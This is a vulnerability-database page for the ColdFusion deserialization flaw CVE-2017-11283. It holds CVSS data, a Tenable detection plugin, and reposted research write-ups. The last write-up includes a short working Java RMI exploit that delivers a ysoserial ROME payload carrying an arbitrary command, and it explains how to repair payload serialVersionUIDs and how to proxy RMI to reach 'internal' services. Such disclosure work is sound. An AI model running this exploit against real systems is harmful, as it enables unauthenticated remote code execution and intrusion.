Vulnerabilities > CVE-2017-11283 - Deserialization of Untrusted Data vulnerability in Adobe Coldfusion 11.0/2016

047910
CVSS 7.5 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
low complexity
adobe
CWE-502
nessus

Summary

Adobe ColdFusion has an Untrusted Data Deserialization vulnerability. This affects Update 4 and earlier versions for ColdFusion 2016, and Update 12 and earlier versions for ColdFusion 11.

Vulnerable Configurations

Part Description Count
Application
Adobe
18

Common Weakness Enumeration (CWE)

Nessus

NASL familyWindows
NASL idCOLDFUSION_WIN_APSB17-30.NASL
descriptionThe version of Adobe ColdFusion running on the remote Windows host is 11.x prior to update 13 or 2016.x prior to update 5. It is, therefore, affected by multiple vulnerabilities : - A Java deserialization flaw exists that allows an unauthenticated, remote attacker to execute arbitrary code. (CVE-2017-11283, CVE-2017-11284) - A reflected cross-site scripting (XSS) vulnerability exists due to improper validation of user-supplied input. An unauthenticated, remote attacker can exploit this, via a specially crafted request, to execute arbitrary script code in user
last seen2020-06-01
modified2020-06-02
plugin id103194
published2017-09-13
reporterThis script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/103194
titleAdobe ColdFusion 11.x < 11u13 / 2016.x < 2016u5 Multiple Vulnerabilities (APSB17-30)
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(103194);
  script_version("1.7");
  script_cvs_date("Date: 2019/11/12");

  script_cve_id(
    "CVE-2017-11283",
    "CVE-2017-11284",
    "CVE-2017-11285",
    "CVE-2017-11286"
  );
  script_bugtraq_id(100708, 100711, 100715);

  script_name(english:"Adobe ColdFusion 11.x < 11u13 / 2016.x < 2016u5 Multiple Vulnerabilities (APSB17-30)");
  script_summary(english:"Checks the hotfix files.");

  script_set_attribute(attribute:"synopsis", value:
"A web-based application running on the remote host is affected by
multiple vulnerabilities.");
  script_set_attribute(attribute:"description", value:
"The version of Adobe ColdFusion running on the remote Windows host is
11.x prior to update 13 or 2016.x prior to update 5. It is, therefore,
affected by multiple vulnerabilities :

  - A Java deserialization flaw exists that allows an unauthenticated,
    remote attacker to execute arbitrary code. (CVE-2017-11283,
    CVE-2017-11284)

  - A reflected cross-site scripting (XSS) vulnerability exists due to
    improper validation of user-supplied input. An unauthenticated,
    remote attacker can exploit this, via a specially crafted request,
    to execute arbitrary script code in user's browser session.
    (CVE-2017-11285)

  - An unspecified flaw due to improper restriction of XML External
  Entity Reference. (CVE-2017-11286)");
  script_set_attribute(attribute:"see_also", value:"https://helpx.adobe.com/security/products/coldfusion/apsb17-30.html");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Adobe ColdFusion version 11 update 13 / 2016 update 5 or
later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2017-11284");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2017/09/12");
  script_set_attribute(attribute:"patch_publication_date", value:"2017/09/12");
  script_set_attribute(attribute:"plugin_publication_date", value:"2017/09/13");

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:adobe:coldfusion");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_family(english:"Windows");

  script_copyright(english:"This script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("coldfusion_win_local_detect.nasl");
  script_require_keys("SMB/coldfusion/instance");
  script_require_ports(139, 445);

  exit(0);
}

include("audit.inc");
include("coldfusion_win.inc");
include("global_settings.inc");
include("misc_func.inc");

versions = make_list('11.0.0', '2016.0.0');
instances = get_coldfusion_instances(versions); # this exits if it fails

# Check the hotfixes and cumulative hotfixes
# installed for each instance of ColdFusion.
info = NULL;
instance_info = make_list();

foreach name (keys(instances))
{
  info = NULL;
  ver = instances[name];

  if (ver == "11.0.0")
  {
    info = check_jar_chf(name, 13);
  }

 else if (ver == "2016.0.0")
  {
    info = check_jar_chf(name, 5);
  }

  if (!isnull(info))
    instance_info = make_list(instance_info, info);
}

if (max_index(instance_info) == 0)
  exit(0, "No vulnerable instances of Adobe ColdFusion were detected.");

port = get_kb_item("SMB/transport");
if (!port)
  port = 445;

report =
  '\n' + 'Nessus detected the following unpatched instances :' +
  '\n' + join(instance_info, sep:'\n') +
  '\n';

security_report_v4(port:port, extra:report, severity:SECURITY_HOLE, xss:TRUE);
exit(0);

Seebug

  • bulletinFamilyexploit
    descriptionDuring my research into the Java Remote Method Invocation (RMI) protocol, the most common RMI service that I came across was Adobe ColdFusion’s Flex integration service which is used to support integration between Flash applications and ColdFusion components. A quick look at this service led to the discovery of two Java deserialization vulnerabilities, both leading to unauthenticated RCE in a service that runs under the local SYSTEM account by default. Adobe released a [security update](https://helpx.adobe.com/security/products/coldfusion/apsb17-30.html) on the 12th September 2017 for ColdFusion 11 and ColdFusion 2016 which can be installed through the ColdFusion Administrator application, however this update alone is not sufficient. Adobe ColdFusion comes bundled with its own Java runtime environment (JRE), which must be manually updated for the update to be effective. The end-of-life ColdFusion 9 is also known to be affected, however no supported fix was available at the time of writing. Update (13/10/2017): To clarify, this vulnerability affects the Java RMI service and does not affect HTTP(S) services exposed by ColdFusion. ### The Vulnerability: RMI and java.lang.Object The first thing I did when I started researching RMI was to write some code to enumerate RMI endpoints (which eventually became [BaRMIe](https://github.com/NickstaDB/BaRMIe)). The goal was to identify software that used RMI which I could investigate further. I used Shodan to find targets for enumeration, then enumerated those targets using BaRMIe. The following class was the most commonly exposed: ``` coldfusion.flex.rmi.DataServicesCFProxy ``` The problem with RMI services is that we can’t interact with them without access to the relevant Java interface or stub class, so I downloaded a trial version of Adobe ColdFusion 2016 and installed it in a virtual machine. With ColdFusion installed I did a recursive grep over the installation directory for the above class name “DataServicesCFProxy” which guided me to the file “lib/cfusion.jar”. I opened this file up in JD-GUI to find the class (interface) listed above. ``` package coldfusion.flex.rmi; import java.rmi.Remote; import java.rmi.RemoteException; import java.util.List; import java.util.Map; public abstract interface DataServicesCFProxy extends Remote { public abstract List fill(String paramString, Object[] paramArrayOfObject, Map paramMap) throws RemoteException; public abstract List sync(String paramString, List paramList, Map paramMap) throws RemoteException; public abstract Object get(String paramString, Map paramMap1, Map paramMap2) throws RemoteException; public abstract Integer count(String paramString, Object[] paramArrayOfObject, Map paramMap) throws RemoteException; public abstract boolean fillContains(String paramString, Object[] paramArrayOfObject, Object paramObject, Boolean paramBoolean, Map paramMap) throws RemoteException; } ``` Each of the five methods of this interface accept arbitrary Java objects as parameters either directly or indirectly (List and Map can both contain arbitrary Java objects). The RMI protocol uses Java serialization for method parameters so each of these five methods can be used as an entry point for a Java deserialization attack by passing a specially crafted object to the method. ### The Payload For a complete Java deserialization exploit we need two key components – the entry point (detailed above) and a payload. The payload consists of one or more classes with properties configured in such a way that some useful code is executed when the object is deserialized. For those not familiar with Java deserialization attacks, there’s an awesome tool called ysoserial which generates Java deserialization payloads using classes found in common Java libraries. Unfortunately the version of ColdFusion I had installed was not affected by any of the ysoserial payloads, and in fact Adobe released a [security update](https://helpx.adobe.com/uk/security/products/coldfusion/apsb16-16.html) in May 2016 which updated the bundled Apache Commons Collections library from version 3.2.1 to version 3.2.2, protecting ColdFusion against what is probably the best known Java deserialization payload. On further investigation I came across the file “libs/js.jar”, which is the Mozilla Rhino JavaScript library. There is a deserialization payload for this library available in ysoserial but it didn’t affect my lab environment. I also couldn’t find any information indicating that a deserialization issue had been fixed in this library (whereas details of the [Apache Commons Collections vulnerability](https://commons.apache.org/proper/commons-collections/security-reports.html) were published). Using Wireshark to look at the network traffic I spotted the following: ![](https://images.seebug.org/1508298227377) A “java.io.InvalidClassException” stating that the local class was incompatible and listing the “serialVersionUID” of both the local and remote classes. Helpful! The serialVersionUID field of a class is usually generated automatically by Java and is updated whenever [certain “incompatible” changes](http://docs.oracle.com/javase/6/docs/platform/serialization/spec/version.html#6678) are made to the class. Depending on usage, however, it is entirely possible for these changes to be made without introducing an incompatibility. I fired up a hex editor, loaded up the Mozilla Rhino payload bytes that I had generated using ysoserial, and searched for the local serialVersionUID listed in the exception. I modified the value to match the remote serialVersionUID and fired the payload off again whilst monitoring the network traffic with Wireshark. I had to repeat this process several times to fix all of the serialVersionUID values, but eventually I got this: ![](https://images.seebug.org/1508298243563) ### Outdated JRE The other of the two vulnerabilities is simply that ColdFusion comes bundled with an outdated version of Java. The bundled Java version does not attempt to validate the type of objects received in an RMI Registry.bind() request before deserializing them. It also fails to check that the bind request came from localhost prior to deserializing the object. This presents another entry point for Java deserialization attacks.
    idSSV:96733
    last seen2017-11-19
    modified2017-10-18
    published2017-10-18
    reporterRoot
    titleAdobe ColdFusion Deserialization RCE (CVE-2017-11283, CVE-2017-11238)
  • bulletinFamilyexploit
    description### Exploiting Adobe ColdFusion before CVE-2017-3066 In a recent penetration test my teammate Thomas came across several servers running Adobe ColdFusion 11 and 12. Some of them were vulnerable to CVE-2017-3066 but no outgoing TCP connections were possible to exploit the vulnerability. He asked me whether I had an idea how he could still get a SYSTEM shell and the outcome of the short research effort is documented here. ### INTRODUCTION ADOBE COLDFUSION & AMF Before we go into technical details, I will give you a short intro to Adobe ColdFusion (CF). Adobe ColdFusion is an Application Development Platform like ASP.net, however several years older. Adobe ColdFusion allows a developer to build websites, SOAP and REST web services and interact with Adobe Flash using the Action Message Format (AMF). The AMF protocol is a custom binary serialization protocol. It has two formats, AMF0 and AMF3. An Action Message consists of headers and bodies. Several data types are supported in AMF0 and AMF3. For example the AMF3 format supports the following protocol elements with their type identifier: ``` Undefined - 0x00 Null - 0x01 Boolean - 0x02 Boolean - 0x03 Integer - 0x04 Double - 0x05 String - 0x06 XML - 0x07 Date - 0x08 Array - 0x09 Object - 0x0A XML End - 0x0B ByteArray - 0x0C ``` Details about the binary message formats of AMF0 and AMF3 can be found on Wikipedia (see https://en.wikipedia.org/wiki/Action_Message_Format). There are several implementations for AMF in different languages. For Java we have Adobe BlazeDS (now Apache BlazeDS), which is also used in Adobe ColdFusion. The BlazeDS AMF serializer can serialize complex object graphs. The serializer starts with the root object and serializes its members recursively. Two general serialization techniques are supported by BlazeDS to serialize complex objects: * Serialization of Bean Properties (AMF0 and AMF3) * Serialization using Java's java.io.Externalizable interface. (AMF3) ### Serialization of Bean Properties This technique requires the object to be serialized to have a public no-arg constructor and for every member public Getter-and Setter-Methods (JavaBeans convention). In order to collect all member values of an object, the AMF serializer invokes all Getter-methods during serialization. The member names and values are put in the Action message body with the class name of the object. During deserialization, the classname is taken from the Action Message, a new object is constructed and for every member name the corresponding set method is called with the value as argument. This all happens either in method readScriptObject() of class flex.messaging.io.amf.Amf3Input or readObjectValue() of class flex.messaging.io.amf.Amf0Input. ### Serialization using Java's java.io.Externalizable interface BlazeDS further supports serialization of complex objects of classes implementing the java.io.Externalizable interface which inherits from java.io.Serializable. ``` public abstract interface Externalizable extends Serializable { public abstract void writeExternal(ObjectOutput paramObjectOutput) throws IOException; public abstract void readExternal(ObjectInput paramObjectInput) throws IOException, ClassNotFoundException; } ``` Every class implementing this interface needs to provide its own logic to deserialize itself by calling methods on the java.io.ObjectInput-implementation to read serialized primitive types and Strings (e.g. method read(byte[] paramArrayOfByte)). During deserialization of an object (type 0xa) in AMF3, the method readScriptObject() of class flex.messaging.io.amf.Amf3Input gets called. In line #759 the method readExternalizable is invoked which calls the readExternal() method on the object to be deserialized. ``` /* */ protected Object readScriptObject() /* */ throws ClassNotFoundException, IOException /* */ { /* 736 */ int ref = readUInt29(); /* */ /* 738 */ if ((ref & 0x1) == 0) { /* 739 */ return getObjectReference(ref >> 1); /* */ } /* 741 */ TraitsInfo ti = readTraits(ref); /* 742 */ String className = ti.getClassName(); /* 743 */ boolean externalizable = ti.isExternalizable(); /* */ /* */ /* */ /* 747 */ Object[] params = { className, null }; /* 748 */ Object object = createObjectInstance(params); /* */ /* */ /* 751 */ className = (String)params[0]; /* 752 */ PropertyProxy proxy = (PropertyProxy)params[1]; /* */ /* */ /* 755 */ int objectId = rememberObject(object); /* */ /* 757 */ if (externalizable) /* */ { /* 759 */ readExternalizable(className, object); //<- call to readExternal /* */ } /* */ //... /* */ } ``` This should be sufficient to serve as an introduction to Adobe ColdFusion and AMF. ### PREVIOUS WORK Chris Gates (@Carnal0wnage) published the paper ColdFusion for Pentesters which is an excellent introduction to Adobe ColdFusion. Wouter Coekaerts (@WouterCoekaerts) already showed in his blog post that deserializing untrusted AMF data is dangerous. Looking at the history of Adobe ColdFusion vulnerabilities at Flexera/Secunia's database you can find mostly XSS', XXE's and information disclosures. The most recent ones are: * Deserialization of untrusted data over RMI (CVE-2017-11283/4 by @nickstadb) * XXE (CVE-2017-11286 by Daniel Lawson of @depthsecurity) * XXE (CVE-2016-4264 by @dawid_golunski) ### CVE-2017-3066 In 2017 Moritz Bechler of AgNO3 GmbH and my teammate Markus Wulftange discovered independently the vulnerability CVE-2017-3066 in Apache BlazeDS. The core problem of this vulnerability was that Adobe Coldfusion never did any whitelisting of allowed classes. Thus any class in the classpath of Adobe ColdFusion, which either fulfills the Java Beans Convention or implements java.io.Externalizable could be sent to the server and get deserialized. Both Moritz and Markus found JRE classes (sun.rmi.server.UnicastRef2 sun.rmi.server.UnicastRef) which implemented the java.io.Externalizable interface and triggered an outgoing TCP connection during AMF3 deserialization. After the connection was made to the attacker's server, its response was deserialized using Java's native deserialization using ObjectInputStream.readObject(). Both found a great "bridge" from AMF deserialization to Java's native deserialization which offers well known exploitation primitives using public gadgets. Details about the vulnerability can also be found in Markus' blog post. Apache introduced validation through the class flex.messaging.validators.ClassDeserializationValidator. It has a default whitelist but can also be configured with a configuration file. For details see the Apache BlazeDS release notes. ### FINDING EXPLOITATION PRIMITIVES BEFORE CVE-2017-3066 As already mentioned in the very beginning my teammate Thomas required an exploit which also works without outgoing connection. I had a quick look into the excellent research paper "Java Unmarshaller Security" of Moritz Bechler where he analysed several "Unmarshallers" including BlazeDS. The exploitation payloads he discovered weren't applicable since the libraries were missing in the classpath. So I started with my typical approach, fired up my favorite "reverse engineering tool" when it comes to Java, Eclipse. Eclipse together with the powerful decompiler plugin "JD-Eclipse" (https://github.com/java-decompiler/jd-eclipse) is all you need for static and dynamic analysis. As a former Dev I was used to work with IDE's which make your life easier and decompiling and grepping through code is often very inefficient and error prone. So I created a new Java project and added all jar-files of Adobe Coldfusion 12 as external libraries. The first idea was to look for further calls to Java's ObjectInputStream.readObject-method. Using Eclipse this is very easy. Just open class ObjectInputStream, right click on the readObject() method and click "Open Call Hierarchy". Thanks to JD-Eclipse and its decompiler, Eclipse is able to construct call graphs based on class information without having any source. The call graph looks big in the very beginning. But with some experience you see very quickly which nodes in the graph are interesting. After some hours I found two promising call graphs. ### SETTER-BASED EXPLOIT The first one starts with method setState(byte[] new_state) of class org.jgroups.blocks.ReplicatedTree. ![](https://images.seebug.org/1522379796392) Looking at the implementation of this method, we already can imagine what is happening in line #605. ``` /* */ public void setState(byte[] new_state) /* */ { /* 597 */ Node new_root = null; /* */ /* */ /* 600 */ if (new_state == null) { /* 601 */ if (log.isInfoEnabled()) log.info("new cache is null"); /* 602 */ return; /* */ } /* */ try { /* 605 */ Object obj = Util.objectFromByteBuffer(new_state); /* 606 */ new_root = (Node)((Node)obj).clone(); /* 607 */ root = new_root; /* 608 */ notifyAllNodesCreated(root); /* */ } /* */ catch (Throwable ex) { /* 611 */ if (log.isErrorEnabled()) { log.error("could not set cache: " + ex); /* */ } /* */ } /* */ } ``` A quick look at the call graph confirms that we eventually end up in a call to ObjectInputStream.readObject(). The only thing to mention here is that the byte[] passed to setState() needs to have an additional byte 0x2 at offset 0x0 as we can see from line 364 of class org.jgroups.util.Util. ``` /* */ public static Object objectFromByteBuffer(byte[] buffer, int offset, int length) throws Exception /* */ { /* 358 */ if (buffer == null) return null; /* 359 */ if (JGROUPS_COMPAT) /* 360 */ return oldObjectFromByteBuffer(buffer, offset, length); /* 361 */ Object retval = null; /* 362 */ InputStream in = null; /* 363 */ ByteArrayInputStream in_stream = new ByteArrayInputStream(buffer, offset, length); /* 364 */ byte b = (byte)in_stream.read(); /* */ try { /* */ int len; /* 367 */ switch (b) { /* */ case 0: /* 369 */ return null; /* */ case 1: /* 371 */ in = new DataInputStream(in_stream); /* 372 */ retval = readGenericStreamable((DataInputStream)in); /* 373 */ break; /* */ case 2: /* 375 */ in = new ObjectInputStream(in_stream); /* 376 */ retval = ((ObjectInputStream)in).readObject(); /* */ //... /* */ } /* */ } /* */ } ``` The exploit can be found in the following image. ![](https://images.seebug.org/1522379830922) The exploit works against Adobe ColdFusion 12 only since JGroups is only available in this specific version. ### EXTERNALIZABLE-BASED EXPLOIT The second call graph starts in class org.apache.axis2.util.MetaDataEntry with a call to readExternal which is what we are looking for. ![](https://images.seebug.org/1522379858812) In line #297 we have a call to SafeObjectInputStream.install(inObject). ``` /* */ public static SafeObjectInputStream install(ObjectInput in) /* */ { /* 62 */ if ((in instanceof SafeObjectInputStream)) { /* 63 */ return (SafeObjectInputStream)in; /* */ } /* 65 */ return new SafeObjectInputStream(in) ; /* */ } view rawsnippet_org.apache.axis2.context.externalize.SafeObjectInputStream.java hosted with ❤ by GitHub In this function our AMF3Input instance gets wrapped by a org.apache.axis2.context.externalize.SafeObjectInputStream instance. /* */ private Object readObjectOverride() /* */ throws IOException, ClassNotFoundException /* */ { /* 318 */ boolean isActive = in.readBoolean(); /* 319 */ if (!isActive) { /* 320 */ if (isDebug) { /* 321 */ log.debug("Read object=null"); /* */ } /* 323 */ return null; /* */ } /* 325 */ Object obj = null; /* 326 */ boolean isObjectForm = in.readBoolean(); /* 327 */ if (isObjectForm) /* */ { /* 329 */ if (isDebug) { /* 330 */ log.debug(" reading using object form"); /* */ } /* 332 */ obj = in.readObject(); /* */ } else { /* 334 */ if (isDebug) { /* 335 */ log.debug(" reading using byte form"); /* */ } /* */ /* 338 */ ByteArrayInputStream bais = getByteStream(in); /* */ /* */ /* 341 */ ObjectInputStream tempOIS = createObjectInputStream(bais); /* 342 */ obj = tempOIS.readObject(); /* 343 */ tempOIS.close(); /* 344 */ bais.close(); /* */ } /* */ //... /* */ } ``` In line #341 a new instance of class org.apache.axis2.context.externalize.ObjectInputStreamWithCL is created. This class just extends the standard java.io.ObjectInputStream. In line #342 we finally have our call to readObject(). The following image shows the request for the exploit. ![](https://images.seebug.org/1522379893889) The exploit works against Adobe ColdFusion 11 and 12. ### COLDFUSIONPWN To make your life easier I created the simple tool ColdFusionPwn. It works on the command line and allows you to generate the serialized AMF message. It incorporates Chris Frohoff's ysoserial for gadget generation. It can be found on our github. ### TAKEAWAYS Deserializing untrusted input is bad, that's for sure. From an exploiters perspective exploiting deserialization vulnerabilities is a challenging task since you need to find the "right" objects (gadgets) which trigger functionality you can reuse for exploitation. But it's also more fun :-) By the way: If you want to make a deep dive into serverside Java Exploitation and all sorts of deserialization vulnerabilities and how to do proper static and dynamic analysis in Java, you might be interested in our upcoming "Advanced Java Exploitation" course.
    idSSV:97208
    last seen2018-03-31
    modified2018-03-30
    published2018-03-30
    reporterRoot
    titleAdobe ColdFusion 反序列化漏洞(CVE-2017-3066)
  • bulletinFamilyexploit
    descriptionIn October 2017 I published an overview and video proof-of-concept of a [Java RMI/deserialization vulnerability](https://nickbloor.co.uk/2017/10/13/adobe-coldfusion-deserialization-rce-cve-2017-11283-cve-2017-11238/) affecting the Flex Integration service of Adobe ColdFusion. I held off on publishing all of the details and exploit code at the time because I spotted an additional exploit payload that could be used against a patched server. A further [security update](https://helpx.adobe.com/security/products/coldfusion/apsb18-14.html) has now been released by Adobe, so read on for more details. ### RMI and java.lang.Object The Java remote method invocation (RMI) protocol is almost 100% [Java serialization](https://nickbloor.co.uk/2017/08/13/attacking-java-deserialization/). When an object is requested from an RMI registry service and methods are invoked on that object, the data transmitted over the network is in the Java serialization format. ColdFusion’s Flex integration RMI service exposes an object of the following class: ``` coldfusion.flex.rmi.DataServicesCFProxy ``` This class can be found in the file “libs/cfusion.jar” in the ColdFusion installation directory, and looks like the following: Java ``` package coldfusion.flex.rmi; import java.rmi.Remote; import java.rmi.RemoteException; import java.util.List; import java.util.Map; public abstract interface DataServicesCFProxy extends Remote { public abstract List fill(String paramString, Object[] paramArrayOfObject, Map paramMap) throws RemoteException; public abstract List sync(String paramString, List paramList, Map paramMap) throws RemoteException; public abstract Object get(String paramString, Map paramMap1, Map paramMap2) throws RemoteException; public abstract Integer count(String paramString, Object[] paramArrayOfObject, Map paramMap) throws RemoteException; public abstract boolean fillContains(String paramString, Object[] paramArrayOfObject, Object paramObject, Boolean paramBoolean, Map paramMap) throws RemoteException; } ``` Each of these methods can be called with any Java object as a parameter. Note that containers such as List and Map can contain any Java object. No authentication is required to interact with this RMI service, so anyone who can reach the service over a network can supply arbitrary Java objects to it in an attempt to exploit a Java deserialization attack (e.g. by supplying [ysoserial](https://github.com/frohoff/ysoserial) payloads as method parameters). Unfortunately none of the ysoserial payloads worked against this entry point. In my previous post about ColdFusion CVE-2017-11283 and CVE-2017-11284 I talked about how I modified a ysoserial payload to successfully exploit this entry point and gain remote command execution using the Mozilla Rhino JavaScript library. In this case, the technique and entry point remain the same, but we’re targeting the [ROME](https://rometools.github.io/rome/) library which comes bundled with ColdFusion (see “libs/rome-cf.jar”). ### Exploitation – The Easy Way The following is a simple RMI client program that retrieves a ColdFusion DataServicesCFProxy object from an RMI registry service, then calls the remote count() method with null parameters: ``` package nb.barmie.demo; import coldfusion.flex.rmi.DataServicesCFProxy; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class CFRMIDemo { public static void main(String[] args) throws Exception { Registry reg = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1])); DataServicesCFProxy obj = (DataServicesCFProxy)reg.lookup("cfassembler/default"); obj.count(null, null, null); } } ``` The second parameter to the count() method is an array of java.lang.Object meaning we can supply arbitrary objects in that parameter and they will be deserialized on the server. We can use ysoserial at runtime to generate an arbitrary payload object and pass that to the count() method, however the ysoserial ROME payload is not compatible with the version of ROME that’s bundled with ColdFusion. If we try this, the server will complain that the server-side class is incompatible with the serialized object that was sent over the network. This is due to the serialVersionUID fields not matching, similar to how I described with the previous exploit that targeted Mozilla Rhino. The easiest way to exploit the ColdFusion RMI service, prior to the April 2018 update, is to rebuild ysoserial. Instead of building ysoserial against rome 1.0 (Maven dependency), build it against “libs/rome-cf.jar” from the ColdFusion installation directory. Having done so, the following code can be used to generate and deliver payloads: Java ``` package nb.barmie.exploit.standalone; import coldfusion.flex.rmi.DataServicesCFProxy; import ysoserial.payloads.ROME; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class CFRMIExploit { public static void main(String[] args) throws Exception { Registry reg = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1])); DataServicesCFProxy obj = (DataServicesCFProxy)reg.lookup("cfassembler/default"); obj.count(null, new Object[] { new ROME().getObject(args[2]) }, null); } } ``` Run the exploit with the parameters: host, port, command. ### Exploitation – The BaRMIe Way! Having done a lot of work on RMI security, I opted to implement an exploit in my RMI enumeration and attack tool, BaRMIe. It’s a more complex exploit but also more powerful. I’ll release this version of the exploit in the near future, but for now I’ll explain how it works for those who are interested! ### RMI Background A remote method invocation involves two network services and two distinct network connections. The first network service is the RMI registry service, usually found on TCP port 1099, which is essentially a directory service where Java object references are bound to names. Line 4 of the following code connects to an RMI registry service on 10.0.0.30:1099 and requests a reference to the object that is bound to the name “Foo”: Java ``` public class RMIList { public static void main(String[] args) throws Exception { Registry reg = LocateRegistry.getRegistry("10.0.0.30", 1099); SomeClass obj = (SomeClass)reg.lookup("Foo"); } } ``` The second network service is used to communicate with the object itself. When the object is bound to a given name in the RMI registry, the host and port where the object can be found are stored in the registry. When we retrieve an object reference from the RMI Registry, the data returned by the RMI registry service includes the host and port of the object’s network service. Line 5 in the following code connects to the RMI object service and invokes the method someMethod(): Java ``` public class RMIList { public static void main(String[] args) throws Exception { Registry reg = LocateRegistry.getRegistry("10.0.0.30", 1099); SomeClass obj = (SomeClass)reg.lookup("Foo"); obj.someMethod("String Param"); } } ``` ### Manning the Middle While I was building BaRMIe, I wanted to include as many exploit payloads (POP gadget chains) as possible without having to battle with dependencies and multiple versions of dependencies. The way I achieved this was to have hard-coded static payloads and generate dynamic sections on the fly (e.g. command strings and corresponding length fields). The problem was that there’s no way to natively pump arbitrary bytes down an RMI connection in such a way that the receiving server would deserialize those bytes. To achieve this, I built a proxy framework that allowed me to man-in-the-middle both connections. It works as follows: * Start an RMI registry proxy that forwards connections on to the target RMI registry * Call LocateRegistry.getRegistry() with the host and port of the RMI registry proxy, not the host and port of the RMI registry service * Call Registry.lookup() to retrieve a remote object reference via the RMI registry proxy (which forwards the request to the real RMI registry service) * When the RMI registry proxy detects a remote object reference being returned: * It starts an RMI method proxy to forward connections on to the real RMI object service * It modifies the remote object reference to point at the new RMI method proxy rather than the real RMI object service * When a method is invoked on the remote object reference, the connections now go through the RMI method proxy With remote method invocations going through a proxy, I have complete control over the protocol and I can manipulate things that the Java Virtual Machine would otherwise prevent me from manipulating. A great example of this is that a remote method which expects a parameter of type java.lang.String cannot be supplied with an arbitrary object parameter, however if we modify the outbound remote method invocation at the network level using a proxy then we can supply an arbitrary object and the server will deserialize it. Using an RMI method proxy, we can issue a call to a remote method in the normal way but with a placeholder parameter instead of a payload object. When the method proxy detects the bytes representing that placeholder object, it can replace those bytes with a stream of bytes representing an arbitrary deserialization payload ### Fixing the Payload When I first spotted the file “libs/rome-cf.jar” in the ColdFusion installation directory, the first thing I did was create an exploit in BaRMIe that used an RMI method proxy to inject two payloads based on the ROME payload from ysoserial. Neither of these were successful, however the server’s response stated that the local class was incompatible and gave me the serialVersionUID of the server-side class. By modifying my payload several times so that the serialVersionUID values in the payload matched those on the server, I achieved remote command execution against ColdFusion again. ### Bonus: Attacking “Internal” Services All this proxying might seem like a lot of effort given the easy exploit I detailed above but actually the supporting functionality was already present in BaRMIe so it only took half an hour to develop this exploit. There’s an additional bonus to controlling things outside of the restrictions of the Java Virtual Machine that I have touched on before, but which is definitely worth another mention. A lot of “internal” RMI services aren’t actually internal. You can bind objects to an RMI registry and be under the impression that they are bound to, for example, 127.0.0.1 or 10.0.0.30 or even host.yourbusiness.local. If an external attacker retrieves a reference to any of those objects using the easy exploit above then they won’t be able to attack the RMI service because they cannot access those internal addresses. By default, however, RMI object services bind to all network interfaces. Let’s say the external address of the target is 8.8.8.9 and the RMI registry returns an object reference pointing at the internal address of the target, 10.8.8.9:30001. By default, the same object can be accessed by connecting to the same port on the external address at 8.8.8.9:30001. By proxying the RMI registry connection, we can detect this and automatically modify RMI connections to enable attacks against objects that appear to be bound internally.
    idSSV:97346
    last seen2018-06-26
    modified2018-06-19
    published2018-06-19
    reporterMy Seebug
    titleColdFusion RCE(CVE-2018-4939)

The Hacker News

idTHN:BAEF6DAD5A5E413B7D119204D0BFE0A9
last seen2018-01-27
modified2017-09-13
published2017-09-12
reporterMohit Kumar
sourcehttps://thehackernews.com/2017/09/adobe-security-patch.html
titleAdobe Patches Two Critical RCE Vulnerabilities in Flash Player